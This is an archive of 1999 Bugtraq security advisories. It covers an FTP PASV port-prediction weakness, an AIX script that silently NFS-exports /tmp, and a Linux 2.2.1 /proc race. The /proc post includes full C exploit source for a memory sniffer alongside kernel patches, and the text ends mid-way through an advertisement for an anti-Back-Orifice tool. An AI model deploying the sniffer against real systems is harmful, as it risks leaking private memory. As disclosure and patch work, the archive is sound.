Description: RFC 765 "FILE TRANSFER PROTOCOL", Page 23 describes the "TRANSFER PARAMETER COMMANDS" for FTP. Two named transfer parameter commands are DATA PORT (PORT) and PASSIVE (PASV). Either PORT or PASV is used by FTP to establish a data connection, the Data Transfer Process (DTP). FTP data connections are frequently followed by the RETRIEVE (RETR), STORE (STOR), APPEND (with create) (APPE), and LIST (LIST) commands which use the DTP. When a DTP connection is established between an FTP client and an FTP server, either the server listens for a connection from the client (PASV command) or the client listens for a connection from the server (PORT command). If a PORT command is issued to the server, the server requires the client to state at which network address and on which port the server is to connect to the client. The PORT command is of the format: "PORT h1,h2,h3,h4,p1,p2" where h1,h2,h3,h4 is the client's network address, and p1,p2 is the 16 bit client port number in an 8 bit high,low bit order. If a PASV command is issued to the server, the server responds to the client, telling the client at what network address and on what port the client is to connect to the server. The PASV command takes no parameters. The "Postel's Pizza Parlor" FTP analogy: Mr. Postel runs a fine pizza parlor in Anytown, CA. In recent years Mr. Postel added two new services to his business: "Carry Out" and "Delivery". Customers thoroughly enjoy both services. Some customers living in gated communities, a recent housing phenomenon that has been continually expanding, have found it necessary to use Carry Out rather than Delivery since the delivery person frequently has problems getting through the front gate. Although the gated community customers find carry out a bit of a pain they enjoy the compromise for their higher level of security in living. Mr. Postel's business ran fine for a while but he soon noticed two erroneous phenomenon: 1) Some Delivery pizza's were being delivered to the wrong addresses. 2) Some Carry Out customers were arguing that their pizza wasn't ready when they arrived. After carefully looking into the Delivery issue, Mr. Postel discovered that some customers were calling and having pizza's delivered to wrong addresses or to individuals that didn't order a pizza. Mr. Postel surmised that either the caller was doing this as a prank or they were, for whatever strange reasons, making notes of where the pizzas were able to be delivered and not delivered. After looking into the Carry Out problem, Mr. Postel determined that "pizza thieves" were comming into the store and asking to pick up pizzas that were not their own by guessing likely order numbers (the method by which a customer asks for his or her pizza). The legitimate customers were then arriving only to find that their pizza wasn't ready. After careful thought on the Carry Out problem, Mr. Postel decided to make it a policy for the calling customers to state their home address. Now when the customer comes into the pizza parlor, the server will check the person's drivers license for a matching address. The Carry Out problem analogously describes the problem with the current FTP PASV connection methodology. Presently, most if not all, FTP servers on the Internet are succeptible to a "pizza thief" attack. This attack involves a rogue client making educated guesses at potential port numbers (pizza order numbers). Port number prediction is possible by repetitive sampling of server responses from the PASV command. Many servers allocate new port numbers by allocating a new port number at a value one higher than the last used port number. This is analogous to a pizza thief sitting in a waiting room, listening to previous order numbers and then guessing at a currently pending order number and asking for it. In the past, the PASV connection method was used with far less frequency than the preferred PORT connection method. The use of PASV has been increasing proportionately with an increased frequency of clients sitting behind firewalls (gated communities). The pizza thief attack thus becomes more effective by day. Recommendations: Solving the problem requires careful thought. Server programmers can program a server to identify the client address associated with the control port and only allow data port connections from the client address, however this server would not be RFC compliant. In the FTP standard, server to server connections are possible by use of the PORT command on server A and the PASV command on server B. The client directs both server A and B to connect to each other. In this case, assume that server A accepts the PASV command. Server A will find that the address of the client on the control port does not match the address associated with the data connection (which is server B's address). A possible solution is an RFC obsoletion or update, documenting a new form of the PASV command, PASX for "PASsiVe eXtended". The PASX command would take address arguments in the form h1,h2,h3,h4 just as the PORT command uses, sans port numbers p1,p2. In using PASX, both the client to server connections and the server to server connections would remain compliant with current RFC methodologies, yet adding a much needed layer of authentication. RFC 2228 "FTP SECURITY EXTENSIONS" has addressed the issue of securing the data channel with the DATA CHANNEL PROTECTION LEVEL (PROT) extension and use of data encapsulation. Through the use of a secured data channel, the Pizza Thief threat is reduced to a simple denial of service attack. _________________________________________________________ DO YOU YAHOO!? Get your free @yahoo.com address at http://mail.yahoo.com Date: Fri, 29 Jan 1999 21:43:51 PST From: Ryan McRonald To: BUGTRAQ@netspace.org Subject: TROJAN: netstation.navio-comm.rte 1.1.0.1 While configuring some IBM Network Station 300s I noticed that my /tmp directory had become NFS exported and world read/writeable!! I traced this to one of the configuration scripts that is included in AIX's netstation.navio-com.rte 1.1.0.1 used for the Navio NC browser. >From /usr/netstation/bin/Xnav: 1) Magic number is munged ... pet peeve of mine: +1 # @(#)93 1.3 src/nav/aix/Xnav.cpp, navio, 41navio110 +2 #!/bin/ksh +3 # ... 2) This part is somewhat problematic: ... +98 grep "/tmp" /etc/exports > /dev/null 2>&1 +99 if [ $? -ne 0 ]; then +100 echo "/tmp" >> /etc/exports +101 /usr/sbin/exportfs -a +102 fi ... The fix: 1) Do you have netstation.navio.comm-rte installed? # lslpp -l netstation.navio-comm-rte 2) Check if /tmp is exported with: # exportfs 3) If /tmp is exported run: # /usr/sbin/rmnfsexp -d /tmp -B This emphasizes the importance of running a regular "sanity" security audits such as satan or ISS. regards from a long-tine bugtraq lurker, Ryan ////////////////////////////////////////////////////////////////////////// /proc 3 way smp race condition in Linux 2.2.1 kernel ////////////////////////////////////////////////////////////////////////// Date: Tue, 2 Feb 1999 17:39:13 +0100 From: Andrea Arcangeli To: BUGTRAQ@netspace.org Subject: [patch] /proc race fixes for 2.2.1 (fwd) This is a short analysis I've done yesterday about the array.c (/proc/pid/...) races of Linux-2.2.0 and Linux-2.2.1. These races was leading to very easily reproducible crashes and Oopses in linux-2.2.0. But Linux-2.2.1 is not been completly fixed. There's still a potential race very hard to reproduce (I think you need at least a 3way smp). You can find a kind of /proc sniffer in this email. At the end of this email you'll find my complete fix for 2.2.1. The race if exploited can lead at least to reading data from random used memory. The memory that could be sniffed could contain any kind of useful data (userspace process memory, cache or whatever). It's not possible to grab the whole page but it's possible only to reproduce the contents of the memory reading and decoding the output of /proc. Maybe it's impossible to exploit the SMP race I am pointing out even if on 3way smp because of timing issues, but there's no a lock that assures atomicity. Side note: I hope to have diffed all the interesting changes from my tree to 2.2.1 at the end of the email (I don't have the time to check). If for some reason the patch won't apply cleanly or will not work don't bother me in mass, but instead go in sync with my personal kernel tree to get this race fixed (I take it open just to allow other people to try it) at ftp://e-mind.com/pub/linux/arca-tree/2.2.1_arca-2.gz. My tree has also many other improvements, bugfix and features (not only developed by me, e.g. the ieee1284-parport code developed by Tim Waugth) and can have any kind of bugs in it so ask me before use it for production (so I'll tell you what you have to remove to get it rock solid for sure). Andrea Arcangeli ---------- Forwarded message ---------- Date: Tue, 2 Feb 1999 01:07:07 +0100 (CET) >From: Andrea Arcangeli To: linux-kernel@vger.rutgers.edu Subject: [patch] /proc race fixes for 2.2.1 2.2.1 reintroduced a SMP race in array.c. The SMP race is that wait(2) can free the kernel stack of the zombie process while array.c is using it. Once the page is freed it can be reused, and if it get recycled before array.c has finished to use it, you could reconstruct part of RAM that you should not be allowed to read (looking at /proc data) and array.c could get in problems during its lifetime (not checked this last but it's a guess). In practice the window for the race is small and I think you would need at least 3 CPU to reproduce this I think. The first CPU has to fork a process that will do only an _exit(2). Then has to wait that the forked process become a zombie, and once it's a zombie it has to start a /proc sniffer that will read /proc/zombiepid/stat on the other cpu. This sniffer will save its contents to a buffer at the first pass and then it will start reading /proc/../stat in loop and comparing it with the one saved in the buffer, and it will then log the output of /proc/../stat if it will be changed compared with the saved data sample in the buffer. Once the sniffer is at regime (the loop that search for /proc changes is started) the task on the first CPU (the one that forked the sniffer) has to do a wait(2) so that the stack of the zombie process will be released. A bit before doing the wait(2) you must eat all the memory avaliable with a trashing proggy and this last has to run in a new CPU (so you need at least a 3way smp). Since this last memory-trasher proggy will start allocing tons of memory, you'll have a chance that the pages freed by wait(2) will be realloced by the kernel before the read of the /proc sniffer will finish. It's theorically possible to sniff data from the kernel exploiting the /proc race but it's really hard and only on some very parallel hardware. I also written a sample of exploit (really ugly, I written it very fast and without thinking too much about it because I think to spend better my time in fixing the bug or writing useful code than in writing exploits.... and because I realizied that on the hardware I have here it would have never worked ;). /* * Copyright (C) 1999 Andrea Arcangeli * Linux-2.2.1 /proc SMP race sniffer */ #include #include #include #include static volatile int pid = -1; static int prog_length; static pthread_mutex_t pid_lock = PTHREAD_MUTEX_INITIALIZER; static pthread_mutex_t zombie_lock = PTHREAD_MUTEX_INITIALIZER; static int get_current_pid(void) { int __pid; pthread_mutex_lock(&pid_lock); __pid = pid; pthread_mutex_unlock(&pid_lock); return __pid; } static void * sniffer(void *dummy) { int cache_pid = -1, fd = -1; char str[50], buf[2000], sample[2000]; pthread_mutex_lock(&zombie_lock); pthread_mutex_unlock(&zombie_lock); for (;;) { int length_cmp; if (get_current_pid() != cache_pid) { pthread_mutex_lock(&zombie_lock); cache_pid = pid; snprintf(str, 50, "/proc/%d/stat", cache_pid); if (fd > 0) close(fd); fd = open(str, O_RDONLY|O_NONBLOCK); if (fd > 0) { int length; length = read(fd, &buf, 2000); if (length > 0) { length_cmp = length; memcpy(sample, buf, length); sample[length-1] = 0; } } pthread_mutex_unlock(&zombie_lock); } if (fd > 0) { int length; lseek(fd, 0, SEEK_SET); length = read(fd, &buf, 200); buf[length-1] = 0; if (length >= length_cmp && memcmp(buf, sample, length_cmp)) printf("length %d, pid %d\n" "original data: %s\n" "modifyed data: %s\n", length, cache_pid, sample, buf); } } } static int is_zombie(int __pid) { char str[50], state; FILE * status; snprintf(str, 50, "/proc/%d/status", __pid); status = fopen(str, "r"); if (!status) { perror("open"); exit(2); } fscanf(status, "%*s\t%*s\nState:\t%c", &state); fclose(status); if (state != 'Z') return 0; return 1; } int main(int argc, char *argv[]) { int dummy; pthread_t task_struct_sniffer; pthread_mutex_lock(&zombie_lock); if (pthread_create(&task_struct_sniffer, NULL, sniffer, NULL)) { perror("pthread_create"); exit(1); } for (;;) { int __pid = fork(); if (!__pid) _exit(0); while (!is_zombie(__pid)); pthread_mutex_lock(&pid_lock); pid = __pid; pthread_mutex_unlock(&pid_lock); pthread_mutex_unlock(&zombie_lock); usleep(1); wait(&dummy); pthread_mutex_lock(&zombie_lock); } pthread_mutex_unlock(&zombie_lock); } Probably it has also bugs (since I have no chance to make it working here I am not going to look at it further), I attached it here only in the case someone is interested on a exploit sample. BTW, is there a better way to know when the child is become a zombie than reading /proc/pidofchild/status ? I thought to catch the SIGCHILD signal but as first I was not sure that this way a wait() would be wakenup anyway (too lazy to check in signal.c ;), and as second with the /proc/xxx/status approch I had to write less code anyway and since it was a not performance critical piece of code I had no dubit of the way to take ;). I also understood very well the reason of the 2.2.0 oopses and process in D state. It was happening something like this: `ps` tsk ------------- ----------------- sys_read() lock_kernel() do_page_fault() array_read() down(tsk->mm) find_vma() get_process_array() handle_mm_fault() lock_kernel() /* woowoo so spin on the big kernel lock */ get_stat() grab_task() down(tsk->mm) /* just owned by tsk */ schedule() /* so release the big kernel lock */ tsk gets the big kernel lock here finish the page fault __up() wake_up_process(`ps`) many othe thing execve() /* this is the harming */ mmput(tsk->mm); tsk->mm = mm_alloc(); (mm->count = 1) finish execve... .... everything he wants .... now `ps` get rescheduled and own the mm->semaphore (of a mm_struct that is not tsk->mm anymore) release_task(tsk); mmput(tsk->mm); (but mm->count was 1!!) exit_mmap(); zap_page_range() /* aieee! */ at the first fault it will get a mm = &init_mm !! Thinks like this can't happens in 2.2.0-pre9 just because tsk->mm was still referencing the old mm of the process (before the execve) because tsk->mm was a copy and not a runtime value. Obviously there was the stack overflow and performances problem in the (1) copy approch. So now I fixed all races with a zerocopy approch (originally suggested by Linus that increments the page count of the process stack instead of doing the copy, but it also assure that array.c always use the mm it has get before (with mmget())). Works fine here. Patch against 2.2.1: --- /tmp/array.c Tue Feb 2 00:08:07 1999 +++ linux/fs/proc/array.c Mon Feb 1 23:51:51 1999 @@ -389 +390,30 @@ -static unsigned long get_phys_addr(struct task_struct * p, unsigned long ptr) +/* + * Caller must release_mm the mm_struct later. + * You don't get any access to init_mm. + */ +static struct mm_struct * grab_mm(int pid) +{ + struct mm_struct * mm = NULL; + struct task_struct * tsk; + + read_lock(&tasklist_lock); + tsk = find_task_by_pid(pid); + /* + * NOTE: this doesn't race because we are protected by the + * big kernel lock. -arca + */ + if (tsk && tsk->mm && tsk->mm != &init_mm) + mmget(mm = tsk->mm); + read_unlock(&tasklist_lock); + if (mm) + down(&mm->mmap_sem); + return mm; +} + +static void release_mm(struct mm_struct *mm) +{ + up(&mm->mmap_sem); + mmput(mm); +} + +static unsigned long get_phys_addr(struct mm_struct *mm, unsigned long ptr) @@ -395 +425 @@ - if (!p || !p->mm || ptr >= TASK_SIZE) + if (ptr >= TASK_SIZE) @@ -398,2 +428,2 @@ - if (!p->mm->pgd) { - printk("get_phys_addr: pid %d has NULL pgd!\n", p->pid); + if (!mm->pgd) { + printk(KERN_DEBUG "missing pgd for mm %p\n", mm); @@ -403 +433 @@ - page_dir = pgd_offset(p->mm,ptr); + page_dir = pgd_offset(mm,ptr); @@ -425 +455 @@ -static int get_array(struct task_struct *p, unsigned long start, unsigned long end, char * buffer) +static int get_array(struct mm_struct *mm, unsigned long start, unsigned long end, char * buffer) @@ -434 +464 @@ - addr = get_phys_addr(p, start); + addr = get_phys_addr(mm, start); @@ -456,5 +486,2 @@ - struct task_struct *p; - - read_lock(&tasklist_lock); - p = find_task_by_pid(pid); - read_unlock(&tasklist_lock); /* FIXME!! This should be done after the last use */ + struct mm_struct *mm; + int res = 0; @@ -462,3 +489,6 @@ - if (!p || !p->mm) - return 0; - return get_array(p, p->mm->env_start, p->mm->env_end, buffer); + mm = grab_mm(pid); + if (mm) { + res = get_array(mm, mm->env_start, mm->env_end, buffer); + release_mm(mm); + } + return res; @@ -469 +499,2 @@ - struct task_struct *p; + struct mm_struct *mm; + int res = 0; @@ -471,6 +502,6 @@ - read_lock(&tasklist_lock); - p = find_task_by_pid(pid); - read_unlock(&tasklist_lock); /* FIXME!! This should be done after the last use */ - if (!p || !p->mm) - return 0; - return get_array(p, p->mm->arg_start, p->mm->arg_end, buffer); + mm = grab_mm(pid); + if (mm) { + res = get_array(mm, mm->arg_start, mm->arg_end, buffer); + release_mm(mm); + } + return res; @@ -725 +707 @@ -static inline char * task_mem(struct task_struct *p, char *buffer) +static inline char * task_mem(struct mm_struct * mm, char *buffer) @@ -727,4 +709,2 @@ - struct mm_struct * mm = p->mm; - - if (mm && mm != &init_mm) { - struct vm_area_struct * vma = mm->mmap; + if (mm) { + struct vm_area_struct * vma; @@ -819,0 +800,39 @@ +static struct task_struct *grab_task(int pid, struct mm_struct ** mm) +{ + struct task_struct *tsk = current; + + *mm = NULL; + read_lock(&tasklist_lock); + tsk = find_task_by_pid(pid); + if (tsk) + { + struct mm_struct * __mm; + struct page * page = mem_map + MAP_NR(tsk); + atomic_inc(&page->count); + /* + * NOTE: this doesn't race because we are protected + * by the big kernel lock. -arca + */ + __mm = tsk->mm; + if (__mm && __mm != &init_mm) + { + mmget(__mm); + *mm = __mm; + } + } + read_unlock(&tasklist_lock); + if (*mm) + down(&(*mm)->mmap_sem); + + return tsk; +} + +static void release_task(struct task_struct *tsk, struct mm_struct * mm) +{ + if (mm) + { + up(&mm->mmap_sem); + mmput(mm); + } + free_pages((unsigned long) tsk, 1); +} @@ -825,4 +844,3 @@ - - read_lock(&tasklist_lock); - tsk = find_task_by_pid(pid); - read_unlock(&tasklist_lock); /* FIXME!! This should be done after the last use */ + struct mm_struct * mm; + + tsk = grab_task(pid, &mm); @@ -833 +851 @@ - buffer = task_mem(tsk, buffer); + buffer = task_mem(mm, buffer); @@ -835,0 +854 @@ + release_task(tsk, mm); @@ -841,0 +861 @@ + struct mm_struct * mm; @@ -846,0 +867 @@ + int res; @@ -848,3 +869 @@ - read_lock(&tasklist_lock); - tsk = find_task_by_pid(pid); - read_unlock(&tasklist_lock); /* FIXME!! This should be done after the last use */ + tsk = grab_task(pid, &mm); @@ -855,3 +874,4 @@ - if (tsk->mm && tsk->mm != &init_mm) { - struct vm_area_struct *vma = tsk->mm->mmap; - while (vma) { + if (mm) { + struct vm_area_struct *vma; + + for (vma = mm->mmap; vma; vma = vma->vm_next) { @@ -859 +878,0 @@ - vma = vma->vm_next; @@ -860,0 +880 @@ + @@ -881 +901 @@ - return sprintf(buffer,"%d (%s) %c %d %d %d %d %d %lu %lu \ + res = sprintf(buffer,"%d (%s) %c %d %d %d %d %d %lu %lu \ @@ -907 +927 @@ - tsk->mm ? tsk->mm->rss : 0, /* you might want to shift this left 3 */ + mm ? mm->rss : 0, /* you might want to shift this left 3 */ @@ -909,3 +929,3 @@ - tsk->mm ? tsk->mm->start_code : 0, - tsk->mm ? tsk->mm->end_code : 0, - tsk->mm ? tsk->mm->start_stack : 0, + mm ? mm->start_code : 0, + mm ? mm->end_code : 0, + mm ? mm->start_stack : 0, @@ -925,0 +946,3 @@ + + release_task(tsk, mm); + return res; @@ -1003 +1025,0 @@ - struct task_struct *tsk; @@ -1004,0 +1027 @@ + struct mm_struct *mm; @@ -1006,7 +1029,3 @@ - read_lock(&tasklist_lock); - tsk = find_task_by_pid(pid); - read_unlock(&tasklist_lock); /* FIXME!! This should be done after the last use */ - if (!tsk) - return 0; - if (tsk->mm && tsk->mm != &init_mm) { - struct vm_area_struct * vma = tsk->mm->mmap; + mm = grab_mm(pid); + if (mm) { + struct vm_area_struct * vma = mm->mmap; @@ -1015 +1034 @@ - pgd_t *pgd = pgd_offset(tsk->mm, vma->vm_start); + pgd_t *pgd = pgd_offset(mm, vma->vm_start); @@ -1032,0 +1052 @@ + release_mm(mm); @@ -1070 +1089,0 @@ - @@ -1074 +1093,2 @@ - struct task_struct *p; + struct task_struct * p; + struct mm_struct * mm; @@ -1079 +1098,0 @@ - int volatile_task; @@ -1091,3 +1110 @@ - read_lock(&tasklist_lock); - p = find_task_by_pid(pid); - read_unlock(&tasklist_lock); /* FIXME!! This should be done after the last use */ + p = grab_task(pid, &mm); @@ -1097 +1114 @@ - if (!p->mm || p->mm == &init_mm || count == 0) + if (!mm || count == 0) @@ -1100,3 +1116,0 @@ - /* Check whether the mmaps could change if we sleep */ - volatile_task = (p != current || atomic_read(&p->mm->count) > 1); - @@ -1108 +1122 @@ - for (map = p->mm->mmap, i = 0; map && (i < lineno); map = map->vm_next, i++) + for (map = mm->mmap, i = 0; map && (i < lineno); map = map->vm_next, i++) @@ -1179,6 +1192,0 @@ - - /* By writing to user space, we might have slept. - * Stop the loop, to avoid a race condition. - */ - if (volatile_task) - break; @@ -1190,0 +1199 @@ + release_task(p, mm); @@ -1202 +1211,2 @@ - struct task_struct * tsk = current ; + struct task_struct * tsk; + struct mm_struct * mm; @@ -1205,6 +1215,2 @@ - read_lock(&tasklist_lock); - if (pid != tsk->pid) - tsk = find_task_by_pid(pid); - read_unlock(&tasklist_lock); /* FIXME!! This should be done after the last use */ - - if (tsk == NULL) + tsk = grab_task(pid, &mm); + if (!tsk) @@ -1223,0 +1230 @@ + release_task(tsk, mm); Andrea Arcangeli - To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majordomo@vger.rutgers.edu Please read the FAQ at http://www.tux.org/lkml/ -------------------------------------------------------------------------------- Date: Thu, 4 Feb 1999 15:09:06 +0100 From: Andrea Arcangeli To: BUGTRAQ@netspace.org Subject: Re: [patch] /proc race fixes for 2.2.1 (fwd) On Tue, 2 Feb 1999, Andrea Arcangeli wrote: > Side note: I hope to have diffed all the interesting changes from my tree > to 2.2.1 at the end of the email (I don't have the time to check). If for Woops I had a bug in the patch. The bug is that when the task to grab is the current one we must not get the mmap_semaphore otherwise we left a window open for deadlocking on it. Here the fixed patch against 2.2.1 again. Index: array.c =================================================================== RCS file: /var/cvs/linux/fs/proc/array.c,v retrieving revision 1.1.1.5 diff -u -r1.1.1.5 array.c --- array.c 1999/01/29 14:50:53 1.1.1.5 +++ linux/fs/proc/array.c 1999/02/04 13:59:26 @@ -386,21 +386,57 @@ return sprintf(buffer, "%s\n", saved_command_line); } -static unsigned long get_phys_addr(struct task_struct * p, unsigned long ptr) +/* + * Caller must release_mm the mm_struct later. + * You don't get any access to init_mm. + */ +static struct mm_struct * grab_mm(int pid) +{ + struct mm_struct * mm; + struct task_struct * tsk; + + if (current->pid == pid) + return current->mm; + + mm = NULL; + read_lock(&tasklist_lock); + tsk = find_task_by_pid(pid); + /* + * NOTE: this doesn't race because we are protected by the + * big kernel lock. -arca + */ + if (tsk && tsk->mm && tsk->mm != &init_mm) + mmget(mm = tsk->mm); + read_unlock(&tasklist_lock); + if (mm) + down(&mm->mmap_sem); + return mm; +} + +static void release_mm(struct mm_struct *mm) { + if (current->mm != mm) + { + up(&mm->mmap_sem); + mmput(mm); + } +} + +static unsigned long get_phys_addr(struct mm_struct *mm, unsigned long ptr) +{ pgd_t *page_dir; pmd_t *page_middle; pte_t pte; - if (!p || !p->mm || ptr >= TASK_SIZE) + if (ptr >= TASK_SIZE) return 0; /* Check for NULL pgd .. shouldn't happen! */ - if (!p->mm->pgd) { - printk("get_phys_addr: pid %d has NULL pgd!\n", p->pid); + if (!mm->pgd) { + printk(KERN_DEBUG "missing pgd for mm %p\n", mm); return 0; } - page_dir = pgd_offset(p->mm,ptr); + page_dir = pgd_offset(mm,ptr); if (pgd_none(*page_dir)) return 0; if (pgd_bad(*page_dir)) { @@ -422,7 +458,7 @@ return pte_page(pte) + (ptr & ~PAGE_MASK); } -static int get_array(struct task_struct *p, unsigned long start, unsigned long end, char * buffer) +static int get_array(struct mm_struct *mm, unsigned long start, unsigned long end, char * buffer) { unsigned long addr; int size = 0, result = 0; @@ -431,7 +467,7 @@ if (start >= end) return result; for (;;) { - addr = get_phys_addr(p, start); + addr = get_phys_addr(mm, start); if (!addr) return result; do { @@ -453,27 +489,28 @@ static int get_env(int pid, char * buffer) { - struct task_struct *p; - - read_lock(&tasklist_lock); - p = find_task_by_pid(pid); - read_unlock(&tasklist_lock); /* FIXME!! This should be done after the last use */ + struct mm_struct *mm; + int res = 0; - if (!p || !p->mm) - return 0; - return get_array(p, p->mm->env_start, p->mm->env_end, buffer); + mm = grab_mm(pid); + if (mm) { + res = get_array(mm, mm->env_start, mm->env_end, buffer); + release_mm(mm); + } + return res; } static int get_arg(int pid, char * buffer) { - struct task_struct *p; + struct mm_struct *mm; + int res = 0; - read_lock(&tasklist_lock); - p = find_task_by_pid(pid); - read_unlock(&tasklist_lock); /* FIXME!! This should be done after the last use */ - if (!p || !p->mm) - return 0; - return get_array(p, p->mm->arg_start, p->mm->arg_end, buffer); + mm = grab_mm(pid); + if (mm) { + res = get_array(mm, mm->arg_start, mm->arg_end, buffer); + release_mm(mm); + } + return res; } /* @@ -722,12 +759,10 @@ return buffer; } -static inline char * task_mem(struct task_struct *p, char *buffer) +static inline char * task_mem(struct mm_struct * mm, char *buffer) { - struct mm_struct * mm = p->mm; - - if (mm && mm != &init_mm) { - struct vm_area_struct * vma = mm->mmap; + if (mm) { + struct vm_area_struct * vma; unsigned long data = 0, stack = 0; unsigned long exec = 0, lib = 0; @@ -817,47 +852,96 @@ cap_t(p->cap_effective)); } +static struct task_struct *grab_task(int pid, struct mm_struct ** mm) +{ + struct task_struct *tsk = current; + + if (current->pid == pid) + { + *mm = current->mm; + return current; + } + + *mm = NULL; + read_lock(&tasklist_lock); + tsk = find_task_by_pid(pid); + if (tsk) + { + struct mm_struct * __mm; + struct page * page = mem_map + MAP_NR(tsk); + atomic_inc(&page->count); + /* + * NOTE: this doesn't race because we are protected + * by the big kernel lock. -arca + */ + __mm = tsk->mm; + if (__mm && __mm != &init_mm) + { + mmget(__mm); + *mm = __mm; + } + } + read_unlock(&tasklist_lock); + if (*mm) + down(&(*mm)->mmap_sem); + + return tsk; +} + +static void release_task(struct task_struct *tsk, struct mm_struct * mm) +{ + if (current != tsk) + { + if (mm) + { + up(&mm->mmap_sem); + mmput(mm); + } + free_pages((unsigned long) tsk, 1); + } +} static int get_status(int pid, char * buffer) { char * orig = buffer; struct task_struct *tsk; - - read_lock(&tasklist_lock); - tsk = find_task_by_pid(pid); - read_unlock(&tasklist_lock); /* FIXME!! This should be done after the last use */ + struct mm_struct * mm; + + tsk = grab_task(pid, &mm); if (!tsk) return 0; buffer = task_name(tsk, buffer); buffer = task_state(tsk, buffer); - buffer = task_mem(tsk, buffer); + buffer = task_mem(mm, buffer); buffer = task_sig(tsk, buffer); buffer = task_cap(tsk, buffer); + release_task(tsk, mm); return buffer - orig; } static int get_stat(int pid, char * buffer) { struct task_struct *tsk; + struct mm_struct * mm; unsigned long vsize, eip, esp, wchan; long priority, nice; int tty_pgrp; sigset_t sigign, sigcatch; char state; + int res; - read_lock(&tasklist_lock); - tsk = find_task_by_pid(pid); - read_unlock(&tasklist_lock); /* FIXME!! This should be done after the last use */ + tsk = grab_task(pid, &mm); if (!tsk) return 0; state = *get_task_state(tsk); vsize = eip = esp = 0; - if (tsk->mm && tsk->mm != &init_mm) { - struct vm_area_struct *vma = tsk->mm->mmap; - while (vma) { + if (mm) { + struct vm_area_struct *vma; + + for (vma = mm->mmap; vma; vma = vma->vm_next) { vsize += vma->vm_end - vma->vm_start; - vma = vma->vm_next; } + eip = KSTK_EIP(tsk); esp = KSTK_ESP(tsk); } @@ -878,7 +962,7 @@ nice = tsk->priority; nice = 20 - (nice * 20 + DEF_PRIORITY / 2) / DEF_PRIORITY; - return sprintf(buffer,"%d (%s) %c %d %d %d %d %d %lu %lu \ + res = sprintf(buffer,"%d (%s) %c %d %d %d %d %d %lu %lu \ %lu %lu %lu %lu %lu %ld %ld %ld %ld %ld %ld %lu %lu %ld %lu %lu %lu %lu %lu \ %lu %lu %lu %lu %lu %lu %lu %lu %d\n", pid, @@ -904,11 +988,11 @@ tsk->it_real_value, tsk->start_time, vsize, - tsk->mm ? tsk->mm->rss : 0, /* you might want to shift this left 3 */ + mm ? mm->rss : 0, /* you might want to shift this left 3 */ tsk->rlim ? tsk->rlim[RLIMIT_RSS].rlim_cur : 0, - tsk->mm ? tsk->mm->start_code : 0, - tsk->mm ? tsk->mm->end_code : 0, - tsk->mm ? tsk->mm->start_stack : 0, + mm ? mm->start_code : 0, + mm ? mm->end_code : 0, + mm ? mm->start_stack : 0, esp, eip, /* The signal information here is obsolete. @@ -923,6 +1007,9 @@ tsk->nswap, tsk->cnswap, tsk->exit_signal); + + release_task(tsk, mm); + return res; } static inline void statm_pte_range(pmd_t * pmd, unsigned long address, unsigned long size, @@ -1000,19 +1087,15 @@ static int get_statm(int pid, char * buffer) { - struct task_struct *tsk; int size=0, resident=0, share=0, trs=0, lrs=0, drs=0, dt=0; + struct mm_struct *mm; - read_lock(&tasklist_lock); - tsk = find_task_by_pid(pid); - read_unlock(&tasklist_lock); /* FIXME!! This should be done after the last use */ - if (!tsk) - return 0; - if (tsk->mm && tsk->mm != &init_mm) { - struct vm_area_struct * vma = tsk->mm->mmap; + mm = grab_mm(pid); + if (mm) { + struct vm_area_struct * vma = mm->mmap; while (vma) { - pgd_t *pgd = pgd_offset(tsk->mm, vma->vm_start); + pgd_t *pgd = pgd_offset(mm, vma->vm_start); int pages = 0, shared = 0, dirty = 0, total = 0; statm_pgd_range(pgd, vma->vm_start, vma->vm_end, &pages, &shared, &dirty, &total); @@ -1030,6 +1113,7 @@ drs += pages; vma = vma->vm_next; } + release_mm(mm); } return sprintf(buffer,"%d %d %d %d %d %d %d\n", size, resident, share, trs, lrs, drs, dt); @@ -1067,16 +1151,15 @@ #define MAPS_LINE_MAX MAPS_LINE_MAX8 - static ssize_t read_maps (int pid, struct file * file, char * buf, size_t count, loff_t *ppos) { - struct task_struct *p; + struct task_struct * p; + struct mm_struct * mm; struct vm_area_struct * map, * next; char * destptr = buf, * buffer; loff_t lineno; ssize_t column, i; - int volatile_task; long retval; /* @@ -1088,24 +1171,19 @@ goto out; retval = -EINVAL; - read_lock(&tasklist_lock); - p = find_task_by_pid(pid); - read_unlock(&tasklist_lock); /* FIXME!! This should be done after the last use */ + p = grab_task(pid, &mm); if (!p) goto freepage_out; - if (!p->mm || p->mm == &init_mm || count == 0) + if (!mm || count == 0) goto getlen_out; - /* Check whether the mmaps could change if we sleep */ - volatile_task = (p != current || atomic_read(&p->mm->count) > 1); - /* decode f_pos */ lineno = *ppos >> MAPS_LINE_SHIFT; column = *ppos & (MAPS_LINE_LENGTH-1); /* quickly go to line lineno */ - for (map = p->mm->mmap, i = 0; map && (i < lineno); map = map->vm_next, i++) + for (map = mm->mmap, i = 0; map && (i < lineno); map = map->vm_next, i++) continue; for ( ; map ; map = next ) { @@ -1176,18 +1254,13 @@ /* done? */ if (count == 0) break; - - /* By writing to user space, we might have slept. - * Stop the loop, to avoid a race condition. - */ - if (volatile_task) - break; } /* encode f_pos */ *ppos = (lineno << MAPS_LINE_SHIFT) + column; getlen_out: + release_task(p, mm); retval = destptr - buf; freepage_out: @@ -1199,15 +1272,12 @@ #ifdef __SMP__ static int get_pidcpu(int pid, char * buffer) { - struct task_struct * tsk = current ; + struct task_struct * tsk; + struct mm_struct * mm; int i, len; - - read_lock(&tasklist_lock); - if (pid != tsk->pid) - tsk = find_task_by_pid(pid); - read_unlock(&tasklist_lock); /* FIXME!! This should be done after the last use */ - if (tsk == NULL) + tsk = grab_task(pid, &mm); + if (!tsk) return 0; len = sprintf(buffer, @@ -1221,6 +1291,7 @@ tsk->per_cpu_utime[cpu_logical_map(i)], tsk->per_cpu_stime[cpu_logical_map(i)]); + release_task(tsk, mm); return len; } #endif Excuse me for the mistake. I noticed the bug only some mintues ago. Andrea Arcangeli ////////////////////////////////////////////////////////////////////////// From: "Jammer Developers Team" To: Subject: Jammer - the complete protection against BO Date: Mon, 1 Feb 1999 04:48:12 +0300 MIME-Version: 1.0 Content-Type: text/plain; charset="koi8-r" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.3110.5 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 The Jammer does monitor ALL UDP traffic on your computer, so you can sleep well & have all passwords of miserable hackers. When the Jammer program gets the BO request packet it starts the decryption process & generates the workable password of BO server. At the end of decryption the program puts the password string into the readable file on your hard disk & 